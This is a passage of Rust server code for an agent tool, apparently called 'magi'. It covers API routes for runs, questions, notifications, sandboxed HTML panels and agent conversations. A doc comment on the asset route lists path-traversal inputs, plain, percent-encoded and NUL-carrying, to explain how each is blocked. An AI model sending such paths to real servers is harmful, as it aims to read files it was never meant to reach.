3462                "talks_rev": revisions.3,
3463                "notifications_rev": revisions.4,
3464                "loop_rev": revisions.5,
3465            });
3466            // Serializing five integers cannot fail; giving up beats looping.
3467            let Ok(event) = Event::default().event("change").json_data(payload) else {
3468                break;
3469            };
3470            if tx.send(event).await.is_err() {
3471                break;
3472            }
3473        }
3474    });
3475    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3476        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3477}
3478
3479/// Change detection token for recorded runs under `runs`.
3480///
3481/// Combines the id and `run.json` modification time of each run, so adding,
3482/// updating, or deleting any run — even an older one — moves the revision and
3483/// notifies connected clients via the change stream. Returns 0 when no runs
3484/// exist.
3485fn runs_revision(runs: &FsPath) -> u64 {
3486    use std::hash::{Hash as _, Hasher as _};
3487
3488    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3489        .into_iter()
3490        .flatten()
3491        .flatten()
3492        .filter_map(|e| {
3493            let path = e.path().join("run.json");
3494            let mtime = path
3495                .metadata()
3496                .ok()?
3497                .modified()
3498                .ok()?
3499                .duration_since(std::time::UNIX_EPOCH)
3500                .ok()?
3501                .as_millis() as u64;
3502            let id = e.file_name().to_string_lossy().into_owned();
3503            Some((id, mtime))
3504        })
3505        .collect();
3506
3507    if entries.is_empty() {
3508        return 0;
3509    }
3510
3511    entries.sort_unstable();
3512    let mut hasher = std::hash::DefaultHasher::new();
3513    for (id, mtime) in &entries {
3514        id.hash(&mut hasher);
3515        mtime.hash(&mut hasher);
3516    }
3517    let h = hasher.finish();
3518    if h == 0 { 1 } else { h }
3519}
3520
3521/// Run ids under `runs`, newest first.
3522///
3523/// Rooted at an explicit directory rather than calling [`run::list_ids`],
3524/// which reads the process-global home: the server has to be drivable against
3525/// a temp directory for any of this to be testable.
3526fn run_ids(runs: &FsPath) -> Vec<String> {
3527    let mut ids: Vec<String> = std::fs::read_dir(runs)
3528        .into_iter()
3529        .flatten()
3530        .flatten()
3531        .filter(|e| e.path().join("run.json").is_file())
3532        .map(|e| e.file_name().to_string_lossy().into_owned())
3533        .collect();
3534    // Ids start with a sortable timestamp.
3535    ids.sort_unstable_by(|a, b| b.cmp(a));
3536    ids
3537}
3538
3539/// Read one run's state from an explicit runs root.
3540fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3541    let path = runs.join(id).join("run.json");
3542    let body =
3543        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3544    let state: RunState =
3545        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3546    if state.schema != run::SCHEMA {
3547        anyhow::bail!(
3548            "run {} was written by a different magi (schema {}, this build speaks {})",
3549            state.id,
3550            state.schema,
3551            run::SCHEMA
3552        );
3553    }
3554    Ok(state)
3555}
3556
3557/// Runs on disk under `runs` whose state this build cannot parse - almost
3558/// always a schema bump, occasionally a run killed mid-write.
3559///
3560/// Exposed so every surface that reports on runs shares one count instead of
3561/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
3562/// `magi doctor` calls this directly rather than guessing at the same number
3563/// a second way.
3564#[must_use]
3565pub fn runs_unreadable(runs: &FsPath) -> usize {
3566    run_ids(runs)
3567        .into_iter()
3568        .filter(|id| read_run(runs, id).is_err())
3569        .count()
3570}
3571
3572/// Expand an id or short id to exactly one run id.
3573fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3574    if runs.join(id).join("run.json").is_file() {
3575        return Ok(id.to_owned());
3576    }
3577    pick(run_ids(runs), id, "run")
3578}
3579
3580/// Expand an id or short id to exactly one task id.
3581fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3582    if queue.path_of(id).is_file() {
3583        return Ok(id.to_owned());
3584    }
3585    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3586}
3587
3588/// A question as the phone reads it.
3589///
3590/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
3591/// text already parsed into a node tree so the client never runs its own
3592/// markdown reader over agent-authored prose. A relative image path in it
3593/// resolves against this question's own panel asset route, which is the one
3594/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
3595/// separate, sandboxed document, but `detail` is rendered inline in the
3596/// operator's own page, so an image reference in it may only ever point at
3597/// files magi itself already serves for this question.
3598#[derive(Debug, Serialize)]
3599struct QuestionView {
3600    #[serde(flatten)]
3601    question: Question,
3602    detail_md: Vec<md::Node>,
3603    /// Is the ball in the agent's court right now?
3604    ///
3605    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
3606    /// [`Question::say`] - so this is the one field that tells the phone to
3607    /// disable the answer controls and show "waiting for the agent" instead of
3608    /// a card the owner can act on. Computed rather than stored on
3609    /// [`Question`] itself, on the same reasoning as `waiting` on
3610    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
3611    /// it here means the client never has to re-derive that rule.
3612    waiting_on_agent: bool,
3613}
3614
3615impl From<Question> for QuestionView {
3616    fn from(question: Question) -> Self {
3617        let base = md::ImageBase::QuestionPanel {
3618            id: question.id.clone(),
3619        };
3620        Self {
3621            detail_md: md::to_nodes(&question.detail, &base),
3622            waiting_on_agent: question.waiting_on_agent(),
3623            question,
3624        }
3625    }
3626}
3627
3628/// `GET /api/questions`.
3629///
3630/// Everything, not just the open ones: an answered question is the record of a
3631/// decision, and the phone is where the operator goes back to check what they
3632/// told an agent at 3am. `ask::Questions::list` already ranks open first.
3633async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3634    blocking(move || {
3635        Ok(Json(
3636            ui.questions
3637                .list()
3638                .into_iter()
3639                .map(QuestionView::from)
3640                .collect(),
3641        ))
3642    })
3643    .await
3644}
3645
3646/// `GET /api/notifications`: not dismissed, newest first, with the unread
3647/// count so the badge and the list cannot disagree.
3648async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3649    blocking(move || {
3650        let items = ui.notices.list();
3651        let unread = items.iter().filter(|n| n.unread()).count();
3652        Ok(Json(
3653            serde_json::json!({ "unread": unread, "items": items }),
3654        ))
3655    })
3656    .await
3657}
3658
3659fn notice_error(e: anyhow::Error) -> ApiError {
3660    // An unknown or malformed id and a vanished file are the same answer to
3661    // the phone: that notification is gone.
3662    ApiError::not_found(format!("{e:#}"))
3663}
3664
3665/// `POST /api/notifications/{id}/read`.
3666async fn notification_read(
3667    State(ui): State<Arc<Ui>>,
3668    Path(id): Path<String>,
3669) -> ApiResult<Json<Notice>> {
3670    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3671}
3672
3673/// `POST /api/notifications/{id}/dismiss`.
3674async fn notification_dismiss(
3675    State(ui): State<Arc<Ui>>,
3676    Path(id): Path<String>,
3677) -> ApiResult<Json<Notice>> {
3678    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3679}
3680
3681/// `POST /api/notifications/read-all`.
3682async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3683    blocking(move || {
3684        let changed = ui.notices.mark_all_read()?;
3685        Ok(Json(serde_json::json!({ "marked": changed })))
3686    })
3687    .await
3688}
3689
3690/// The body of `POST /api/questions/{id}/answer`.
3691///
3692/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
3693/// a bad request rather than a guess: an answer magi invented is worse than a
3694/// question left open.
3695#[derive(Debug, Default, Deserialize)]
3696#[serde(default, deny_unknown_fields)]
3697struct NewAnswer {
3698    choice: Option<String>,
3699    text: Option<String>,
3700}
3701
3702async fn question_answer(
3703    State(ui): State<Arc<Ui>>,
3704    Path(id): Path<String>,
3705    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3706) -> ApiResult<Json<QuestionView>> {
3707    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3708    let answer = match (body.choice, body.text) {
3709        (Some(c), None) => Answer::Choice(c),
3710        (None, Some(t)) => Answer::Text(t),
3711        (Some(_), Some(_)) => {
3712            return Err(ApiError::bad_request(
3713                "send either `choice` or `text`, not both",
3714            ));
3715        }
3716        (None, None) => {
3717            return Err(ApiError::bad_request("send a `choice` or a `text`"));
3718        }
3719    };
3720
3721    blocking(move || {
3722        let id = resolve_question(&ui.questions, &id)?;
3723        let mut q = ui
3724            .questions
3725            .get(&id)
3726            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3727        if !q.status.open() {
3728            // Answered from the terminal, or by another phone, in between the
3729            // list and the tap. The UI shows the recorded answer rather than an
3730            // error, so it needs the record, not just the status.
3731            return Err(ApiError::conflict(format!(
3732                "question {} is already {}",
3733                q.short(),
3734                q.status.as_str()
3735            )));
3736        }
3737        // `Question::answer` owns the rules - an unoffered choice, free text on
3738        // a multiple-choice question, an empty reply - so the route does not
3739        // restate them and cannot drift from the CLI's behaviour.
3740        q.answer(answer).map_err(ApiError::bad_request_from)?;
3741        ui.questions.put(&mut q)?;
3742        Ok(Json(QuestionView::from(q)))
3743    })
3744    .await
3745}
3746
3747/// The body of `POST /api/questions/{id}/say`.
3748#[derive(Debug, Deserialize)]
3749#[serde(deny_unknown_fields)]
3750struct NewSay {
3751    body: String,
3752}
3753
3754/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
3755///
3756/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
3757/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
3758/// file, so there is no turn to serialize against and no
3759/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
3760/// is a *different* process - the run parked behind `magi ask` - and picks
3761/// the reply up on its own poll of the very same file, same as an answer
3762/// does.
3763async fn question_say(
3764    State(ui): State<Arc<Ui>>,
3765    Path(id): Path<String>,
3766    body: std::result::Result<Json<NewSay>, JsonRejection>,
3767) -> ApiResult<Json<QuestionView>> {
3768    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3769    blocking(move || {
3770        let id = resolve_question(&ui.questions, &id)?;
3771        let mut q = ui
3772            .questions
3773            .get(&id)
3774            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3775        if !q.status.open() {
3776            // Same granularity as `question_answer`: answered or abandoned in
3777            // between the list and the tap is not this route's error to
3778            // explain any differently.
3779            return Err(ApiError::conflict(format!(
3780                "question {} is already {}",
3781                q.short(),
3782                q.status.as_str()
3783            )));
3784        }
3785        // `Question::say` owns the one rule that matters here - an empty
3786        // message tells the agent nothing - so the route does not restate it.
3787        q.say(body.body).map_err(ApiError::bad_request_from)?;
3788        ui.questions.put(&mut q)?;
3789        Ok(Json(QuestionView::from(q)))
3790    })
3791    .await
3792}
3793
3794/// Expand an id or short id to exactly one question id.
3795fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3796    if store.path_of(id).is_file() {
3797        return Ok(id.to_owned());
3798    }
3799    pick(
3800        store.list().into_iter().map(|q| q.id).collect(),
3801        id,
3802        "question",
3803    )
3804}
3805
3806/// `GET /api/questions/{id}/panel`.
3807///
3808/// The panel an agent wrote for this question, as `text/html` under
3809/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
3810/// A question without one is a 404 rather than an empty page: the client
3811/// preflights this route with `HEAD` and must be able to tell "no panel" from
3812/// "a panel that rendered blank", and a sandboxed frame is opaque to the
3813/// parent document so it cannot tell the difference by looking.
3814///
3815/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
3816/// sanitises or minifies it - a sanitiser is a list of things someone thought
3817/// of, and the sandbox plus the CSP is a list of things that are allowed, which
3818/// is the direction that stays safe when an agent writes markup nobody
3819/// predicted.
3820async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3821    blocking(move || {
3822        let id = resolve_question(&ui.questions, &id)?;
3823        let Some(html) = ui.questions.panel_html(&id) else {
3824            return Err(ApiError::not_found(format!("question {id} has no panel")));
3825        };
3826        Ok(panel_response(
3827            "text/html; charset=utf-8",
3828            false,
3829            html.into_bytes(),
3830        ))
3831    })
3832    .await
3833}
3834
3835/// `GET /api/questions/{id}/asset/{name}`.
3836///
3837/// One file from the question's own panel directory, so a panel can show a
3838/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
3839/// having to allow anything off this machine.
3840///
3841/// This is the only route in the server where a client names a file, so it is
3842/// the only one with a traversal surface, and the name is checked by
3843/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
3844/// what is worth being explicit about, because the answer is not "all of it in
3845/// one place":
3846///
3847/// * `asset/../../secrets` never reaches this handler at all. axum matches on
3848///   the raw request path and `{name}` spans exactly one segment, so a real
3849///   slash makes the request too long for the route and the router answers 404.
3850/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
3851///   percent-decodes path parameters, so `name` arrives as `../secrets` and
3852///   `..\secrets` respectively, which look like plain filenames to the router.
3853///   The validator refuses them here - both for the literal `..` and because
3854///   `/` and `\` are not in the permitted character set - and answers 400.
3855/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
3856///   the platform's path API is not, and it is refused here for the same
3857///   reason: NUL is not a permitted character.
3858/// * [`Questions::panel_asset`] validates again on read, so the check is not
3859///   load-bearing in only one place. This route's own check exists so the
3860///   failure is a 400 that says which name was wrong, rather than a store error
3861///   the operator has to interpret.
3862async fn question_asset(
3863    State(ui): State<Arc<Ui>>,
3864    Path((id, name)): Path<(String, String)>,
3865) -> ApiResult<Response> {
3866    // Before any filesystem work and before any path is built: a name this
3867    // server will not serve should not become a `PathBuf` at all.
3868    if !crate::ask::valid_asset_name(&name) {
3869        return Err(ApiError::bad_request(format!(
3870            "`{name}` is not a usable asset name"
3871        )));
3872    }
3873    blocking(move || {
3874        let id = resolve_question(&ui.questions, &id)?;
3875        let asset = ui
3876            .questions
3877            .panel_asset(&id, &name)
3878            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3879        let Some(bytes) = asset else {
3880            return Err(ApiError::not_found(format!(
3881                "question {id} has no asset `{name}`"
3882            )));
3883        };
3884        Ok(panel_response(
3885            asset_content_type(&name),
3886            is_svg(&name),
3887            bytes,
3888        ))
3889    })
3890    .await
3891}
3892
3893/// Content type for a panel asset, from a closed whitelist.
3894///
3895/// A whitelist with an `application/octet-stream` fallback rather than a
3896/// guess, because the one answer that must never come out of here is
3897/// `text/html`. An agent that writes `notes.html` into its panel directory and
3898/// links it would otherwise get its own markup rendered at the top level of the
3899/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
3900/// magi's origin - which is precisely the thing the panel design exists to
3901/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
3902///
3903/// `nosniff` accompanies this on every response, so a browser cannot decide it
3904/// knows better than the type we sent.
3905fn asset_content_type(name: &str) -> &'static str {
3906    match extension(name).as_deref() {
3907        Some("png") => "image/png",
3908        Some("jpg" | "jpeg") => "image/jpeg",
3909        Some("gif") => "image/gif",
3910        Some("webp") => "image/webp",
3911        Some("svg") => "image/svg+xml",
3912        Some("css") => "text/css; charset=utf-8",
3913        Some("txt") => "text/plain; charset=utf-8",
3914        _ => "application/octet-stream",
3915    }
3916}
3917
3918/// Is this an SVG, and therefore a file that must never be opened at the top
3919/// level?
3920fn is_svg(name: &str) -> bool {
3921    extension(name).as_deref() == Some("svg")
3922}
3923
3924/// Lowercased extension, or `None` for a name without one.
3925fn extension(name: &str) -> Option<String> {
3926    name.rsplit_once('.')
3927        .map(|(_, ext)| ext.to_ascii_lowercase())
3928}
3929
3930/// Every panel response, with the four headers that make it safe and, for an
3931/// SVG, a fifth.
3932///
3933/// One function rather than a header list per handler, because a panel route
3934/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
3935/// model gone, silently, on one of two routes. Adding a third panel route later
3936/// means calling this, and there is nowhere else to build a panel response.
3937///
3938/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
3939/// as an `<img src>` inside the panel that script cannot run - but the asset
3940/// URL is also a plain URL an operator can be talked into opening in a tab,
3941/// where it is a document on magi's own origin. `Content-Disposition:
3942/// attachment` makes the browser download it instead of rendering it, which
3943/// closes that door without taking away the ability to draw a diff. Raster
3944/// images have no such execution surface and are left inline, so tapping a
3945/// screenshot still shows it.
3946fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3947    let mut res = (
3948        [
3949            (header::CONTENT_TYPE, content_type),
3950            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3951            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3952            (header::REFERRER_POLICY, "no-referrer"),
3953        ],
3954        body,
3955    )
3956        .into_response();
3957    if download {
3958        res.headers_mut().insert(
3959            header::CONTENT_DISPOSITION,
3960            HeaderValue::from_static("attachment"),
3961        );
3962    }
3963    res
3964}
3965
3966/// A talk as the phone reads it.
3967///
3968/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
3969/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
3970/// parses markdown itself - and the process-local `thinking` hint.
3971#[derive(Debug, Serialize)]
3972struct TalkView {
3973    #[serde(flatten)]
3974    talk: Talk,
3975    turn_bodies_md: Vec<Vec<md::Node>>,
3976    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
3977    /// this server process.
3978    ///
3979    /// This is deliberately not durable: another server process cannot see
3980    /// it, and a restarted server must not claim an old turn is live. It is a
3981    /// progress hint rather than proof a reply landed; the transcript remains
3982    /// the source of truth for that.
3983    thinking: bool,
3984}
3985
3986impl TalkView {
3987    fn new(talk: Talk, thinking: bool) -> Self {
3988        let turn_bodies_md = talk
3989            .turns
3990            .iter()
3991            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3992            .collect();
3993        Self {
3994            turn_bodies_md,
3995            thinking,
3996            talk,
3997        }
3998    }
3999}
4000
4001/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
4002/// conversation has filed, so the phone can follow one from inside the
4003/// conversation that asked for it rather than hunting the Queue for a task id
4004/// it may not remember.
4005#[derive(Debug, Serialize)]
4006struct TalkDetailView {
4007    #[serde(flatten)]
4008    view: TalkView,
4009    tasks: Vec<TaskView>,
4010}
4011
4012/// `GET /api/talks`.
4013///
4014/// Every conversation, open ones first and newest first - [`Talks::list`]'s
4015/// own order.
4016async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4017    blocking(move || {
4018        Ok(Json(
4019            ui.talks
4020                .list()
4021                .into_iter()
4022                .map(|talk| {
4023                    let thinking = ui.is_thinking(&talk.id);
4024                    TalkView::new(talk, thinking)
4025                })
4026                .collect(),
4027        ))
4028    })
4029    .await
4030}
4031
4032/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
4033/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
4034/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
4035/// end still opens a talk against an older binary.
4036#[derive(Debug, Default, Deserialize)]
4037#[serde(default)]
4038struct NewTalk {
4039    agent: Option<String>,
4040    repo: Option<PathBuf>,
4041}
4042
4043/// `POST /api/talks` - open a conversation. Takes no agent turn: see
4044/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
4045async fn talk_post(
4046    State(ui): State<Arc<Ui>>,
4047    body: std::result::Result<Json<NewTalk>, JsonRejection>,
4048) -> ApiResult<impl IntoResponse> {
4049    // An absent body, or an empty one, is the normal way to open a talk - see
4050    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
4051    // rather than refused.
4052    let body = match body {
4053        Ok(Json(body)) => body,
4054        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4055        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4056    };
4057    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4058    let cfg = config_for(&repo).await?;
4059    let view = blocking(move || {
4060        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4061        let thinking = ui.is_thinking(&talk.id);
4062        Ok(TalkView::new(talk, thinking))
4063    })
4064    .await?;
4065    Ok((StatusCode::CREATED, Json(view)))
4066}
4067
4068/// `GET /api/talks/{id}`.
4069async fn talk_detail(
4070    State(ui): State<Arc<Ui>>,
4071    Path(id): Path<String>,
4072) -> ApiResult<Json<TalkDetailView>> {
4073    blocking(move || {
4074        let id = resolve_talk(&ui.talks, &id)?;
4075        let talk = ui.talks.get(&id)?;
4076        let thinking = ui.is_thinking(&talk.id);
4077        let tasks = talk::tasks_of(&ui.queue, &talk.id)
4078            .into_iter()
4079            .map(TaskView::from)
4080            .collect();
4081        Ok(Json(TalkDetailView {
4082            view: TalkView::new(talk, thinking),
4083            tasks,
4084        }))
4085    })
4086    .await
4087}
4088
4089/// The body of `POST /api/talks/{id}/say`.
4090///
4091/// `attachments` names ids `POST /api/talks/{id}/attachments` already
4092/// returned - never bytes of its own - so a turn with no images just omits
4093/// the field, which is what an older front end still does.
4094#[derive(Debug, Default, Deserialize)]
4095#[serde(default, deny_unknown_fields)]
4096struct NewTalkTurn {
4097    text: String,
4098    attachments: Vec<String>,
4099}
4100
4101#[derive(Debug, Deserialize)]
4102#[serde(deny_unknown_fields)]
4103struct EditTalkPending {
4104    text: String,
4105    expected_text: String,
4106    expected_attachments: Vec<String>,
4107}
4108
4109#[derive(Debug, Deserialize)]
4110#[serde(deny_unknown_fields)]
4111struct ClearTalkPending {
4112    expected_text: String,
4113    expected_attachments: Vec<String>,
4114}
4115
4116/// `POST /api/talks/{id}/say` - one turn of the conversation.
4117///
4118/// Not filesystem work, and therefore not routed through [`blocking`]: this
4119/// route spawns an agent CLI and a turn here can run for the whole of
4120/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
4121/// research turn is expected to run commands rather than answer from what it
4122/// already knows. Holding an HTTP connection open that long is not a thing
4123/// to ask a phone to do; the operator's message is recorded and answered for
4124/// immediately, and the reply lands in the background, discovered through
4125/// the change stream's `talks_rev` the same way every other update on this
4126/// surface is.
4127async fn talk_say(
4128    State(ui): State<Arc<Ui>>,
4129    Path(id): Path<String>,
4130    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4131) -> ApiResult<(StatusCode, Json<TalkView>)> {
4132    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4133    if body.text.trim().is_empty() && body.attachments.is_empty() {
4134        return Err(ApiError::bad_request("say something"));
4135    }
4136
4137    let id = {
4138        let ui = Arc::clone(&ui);
4139        let asked = id.clone();
4140        blocking(move || resolve_talk(&ui.talks, &asked)).await?
4141    };
4142    // A closed Talk never accepts a new immediate or queued turn. Check this
4143    // before claiming a slot so its ordinary domain refusal is a 409, not an
4144    // incidental failure from the later record/queue write.
4145    {
4146        let ui = Arc::clone(&ui);
4147        let id = id.clone();
4148        blocking(move || {
4149            let talk = ui.talks.get(&id)?;
4150            if !talk.status.open() {
4151                return Err(ApiError::conflict(format!(
4152                    "talk {} is {} and takes no more turns",
4153                    talk.short(),
4154                    talk.status.as_str()
4155                )));
4156            }
4157            Ok(())
4158        })
4159        .await?;
4160    }
4161
4162    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
4163    // actually stores, before anything is written - an unknown id is a 4xx
4164    // that names it rather than a turn (or a queued draft) silently missing
4165    // an image.
4166    let attachments = {
4167        let ui = Arc::clone(&ui);
4168        let id = id.clone();
4169        let ids = body.attachments.clone();
4170        blocking(move || {
4171            ids.into_iter()
4172                .map(|att_id| {
4173                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4174                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4175                    })
4176                })
4177                .collect::<ApiResult<Vec<talk::Attachment>>>()
4178        })
4179        .await?
4180    };
4181
4182    // Pending recovery and a new immediate turn are decided under the same
4183    // claim lock. Without that one critical section, a second `/say` can see
4184    // the first request's claim as "busy" and append itself to the recovered
4185    // draft before the first request rejects it.
4186    let start = {
4187        let ui = Arc::clone(&ui);
4188        let id = id.clone();
4189        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4190    };
4191    let turn_guard = match start {
4192        TalkTurnStart::Claimed(turn_guard) => turn_guard,
4193        TalkTurnStart::Pending => {
4194            return Err(ApiError::conflict(
4195                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4196            ));
4197        }
4198        TalkTurnStart::Busy => {
4199            // A turn is already running: queue rather than refuse. See
4200            // `Ui::begin_talk_turn` and `talk::queue`.
4201            //
4202            // The queue write and the drain it may owe live inside the task
4203            // `tokio::spawn` hands to the runtime, for the same reason the
4204            // immediate path below puts `record` there: a dropped handler
4205            // future must not be able to land between a durable write and
4206            // the task that answers it. `blocking` runs its closure on
4207            // `spawn_blocking`, which finishes whether or not anyone is left
4208            // to receive its result - so a disconnect at the `.await` below
4209            // would otherwise leave the draft persisted and the reclaimed
4210            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
4211            // ever started and the queued text stranded until some later
4212            // `say` happened to pick it up. The caller's 202 travels back
4213            // over a `oneshot`, sent the moment the write lands.
4214            let (tx, rx) = tokio::sync::oneshot::channel();
4215            tokio::spawn({
4216                let ui = Arc::clone(&ui);
4217                let id = id.clone();
4218                let said = body.text.clone();
4219                async move {
4220                    let written = blocking({
4221                        let ui = Arc::clone(&ui);
4222                        let id = id.clone();
4223                        move || {
4224                            let mut talk = ui.talks.get(&id)?;
4225                            // A test-only stop point, right before the write
4226                            // an interleaving test needs to pin - see
4227                            // `BusyQueueGate`. `None` in every real server:
4228                            // the field only exists under `#[cfg(test)]`.
4229                            #[cfg(test)]
4230                            if let Some(gate) = ui
4231                                .busy_queue_gate
4232                                .lock()
4233                                .unwrap_or_else(PoisonError::into_inner)
4234                                .take()
4235                            {
4236                                let _ = gate.reached.send(());
4237                                let _ = gate.release.recv();
4238                            }
4239                            if let Err(error) =
4240                                talk::queue(&mut talk, &ui.talks, &said, attachments)
4241                            {
4242                                if let Ok(fresh) = ui.talks.get(&id) {
4243                                    if !fresh.status.open() {
4244                                        return Err(ApiError::conflict(format!(
4245                                            "talk {} is {} and takes no more turns",
4246                                            fresh.short(),
4247                                            fresh.status.as_str()
4248                                        )));
4249                                    }
4250                                }
4251                                return Err(ApiError::from(error));
4252                            }
4253                            // The turn that looked busy a moment ago can have
4254                            // finished, found nothing to drain and given up the
4255                            // slot in the gap between that check and this write
4256                            // landing - see `drain_loop`'s own doc for the other
4257                            // half of why that gap would otherwise be able to
4258                            // open at all. Reclaiming the slot here, rather than
4259                            // trusting that whoever held it is still watching, is
4260                            // what stops the text just queued from being stranded
4261                            // until an unrelated future `say` happens to drain
4262                            // it.
4263                            let claim = match ui.begin_queued_talk_turn(&id)? {
4264                                Some(turn_guard) => {
4265                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4266                                    Some((talk.clone(), cfg, turn_guard))
4267                                }
4268                                None => None,
4269                            };
4270                            let thinking = ui.is_thinking(&id);
4271                            Ok((TalkView::new(talk, thinking), claim))
4272                        }
4273                    })
4274                    .await;
4275                    let (view, reclaimed) = match written {
4276                        Ok(pair) => pair,
4277                        Err(e) => {
4278                            // Nobody is listening if the handler's own future
4279                            // was already dropped - that is fine, nothing was
4280                            // persisted and there is no response left to carry
4281                            // this error to.
4282                            let _ = tx.send(Err(e));
4283                            return;
4284                        }
4285                    };
4286                    // If this fails, the caller is gone; the drain below still
4287                    // runs exactly as it would have for a caller that stayed.
4288                    let _ = tx.send(Ok(view));
4289                    if let Some((talk, cfg, turn_guard)) = reclaimed {
4290                        let talks = ui.talks.clone();
4291                        drain_loop(talk, talks, cfg, id, turn_guard).await;
4292                    }
4293                }
4294            });
4295            let view = rx
4296                .await
4297                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4298            return Ok((StatusCode::ACCEPTED, Json(view)));
4299        }
4300    };
4301
4302    let (talk, cfg) = {
4303        let ui = Arc::clone(&ui);
4304        let id = id.clone();
4305        blocking(move || {
4306            let talk = ui.talks.get(&id)?;
4307            let (cfg, _) = Config::discover(&talk.repo, None)?;
4308            Ok((talk, cfg))
4309        })
4310        .await?
4311    };
4312
4313    let talks = ui.talks.clone();
4314    // `record` runs *inside* the spawned task, rather than in this handler
4315    // followed by a separate `tokio::spawn` for `respond` - axum drops this
4316    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
4317    // doc), and that drop can land at any `.await` this function makes,
4318    // including one that has already produced its result but not yet
4319    // resumed. A message could end up recorded on disk with the handler
4320    // future gone before it ever reached the `tokio::spawn` that would have
4321    // started the reply. `tokio::spawn` itself is a plain, synchronous call
4322    // that hands the whole future to the runtime as one unit - once made, no
4323    // later drop of *this* handler's own future (that call's return value is
4324    // never held onto here) can reach back in and stop it, so record and the
4325    // hand-off to `respond` are unconditionally atomic from the client's
4326    // point of view. The immediate response this handler owes the caller
4327    // travels back over a `oneshot`, sent the moment `record` succeeds.
4328    let (tx, rx) = tokio::sync::oneshot::channel();
4329    tokio::spawn({
4330        let ui = Arc::clone(&ui);
4331        let talks = talks.clone();
4332        let id = id.clone();
4333        let said = body.text.clone();
4334        let mut talk = talk.clone();
4335        async move {
4336            let recorded = blocking({
4337                let talks = talks.clone();
4338                move || {
4339                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4340                        if let Ok(fresh) = talks.get(&talk.id) {
4341                            if !fresh.status.open() {
4342                                return Err(ApiError::conflict(format!(
4343                                    "talk {} is {} and takes no more turns",
4344                                    fresh.short(),
4345                                    fresh.status.as_str()
4346                                )));
4347                            }
4348                        }
4349                        return Err(ApiError::from(error));
4350                    }
4351                    // `record` mutates `talk` in place to the freshly persisted
4352                    // state (status, pending, and the just-appended operator
